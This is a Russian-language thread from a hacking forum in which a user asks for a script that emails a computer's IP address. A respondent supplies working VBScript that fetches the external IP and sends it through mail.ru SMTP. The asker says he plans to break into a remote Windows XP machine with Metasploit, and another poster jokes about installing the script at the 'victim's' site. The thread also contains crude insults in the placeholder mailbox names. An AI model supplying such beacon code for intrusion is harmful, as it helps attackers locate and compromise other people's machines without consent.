ANTICHAT - Подскажите как написать батник для отправки ip на электронную почту

ANTICHAT (https://forum.antichat.xyz/index.php)

- Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)

Можно, вот подсказка

Код:

Dim o

Dim res

Set o = CreateObject("Microsoft.XMLHTTP")

o.open "GET", "http://icanhazip.com", False

o.send

res = o.responseText

Msgbox res

ComradKraken: Подожди ну при вводе команды ipconfig я вижу ip адрес который определяется в http://speed-tester.info/.. Или к нему все равно нереально подключится из глобальной сети ?

смотря как у тебя инет подключен, я так понял без роутера

ComradKraken: Спасибо за подсказку Я ценю Ваш юмор (опытного пользователя ,программиста ),только для меня это набор символов и цифр. Я буду с месяц разбираться куда что вставлятьи писать .

чем подключаться собрался? сначала проверь открыт ли нужный порт извне, например через 2ip.ru

ComradKraken:Подключатся я буду к удаленному компьютеру с установленной windows xp с открытыми портами 135,443 (что обычно открыто) с помощь metalsploit .

Код:

Dim o

Dim res

Set o = CreateObject("Microsoft.XMLHTTP")

o.open "GET", "http://icanhazip.com", False

o.send

res = o.responseText



Dim RemoteSenderBoxName : RemoteSenderBoxName = "fuckUSA@mail.ru" '  сюда адрес ящика который ты завёл для отправки

Dim RemoteSenderBoxPasswd : RemoteSenderBoxPasswd  = "obamka-pidorg"    '  сюда пароль ящика который ты завёл для отправки

Dim MailReceiver : MailReceiver  = "russianhackersdidit@mail.ru"     '  сюда адрес почты куда получать ип собрался



Set emailObj      = CreateObject("CDO.Message")



Set emailConfig = emailObj.Configuration

'Set emailConfig  = CreateObject("CDO.Configuration")



emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")= 2

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 120



emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")    = RemoteSenderBoxName

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")    = RemoteSenderBoxPasswd



emailObj.From     = RemoteSenderBoxName

emailObj.To       = MailReceiver



emailObj.Subject  = "ip addr"

emailObj.TextBody = res



emailConfig.Fields.Update



emailObj.Send

этот vbs вернет внешний IP

ComradKraken: Меня тут бл... обрадовали , у меня оказывается серый ip адрес ,как мне сказали ...к удаленной машине по данному айпи адресу не подключишься ... Это реально так ???? Или мой юный и доверчивый мозг на еб....

Цитата:

Сообщение от kurt135

↑
ComradKraken
: Подожди
ну при вводе команды ipconfig я вижу ip адрес который определяется в
http://speed-tester.info/
..
Или к нему все равно нереально подключится из глобальной сети ?

"серый" ты бы не увидел на этом ресурсе speed-tester,

а что насчет той удаленной машины, проверь второй скрипт что я скинул , он вернет "белый" IP

ЗЫ: я так понял ты через мобильный инет сидишь?

Цитата:

Сообщение от ComradKraken

↑
проверь второй скрипт что я скинул

Вот у вас терпение!

Осталось только выехать на место и настроить скрипт на месте у потерпевшего.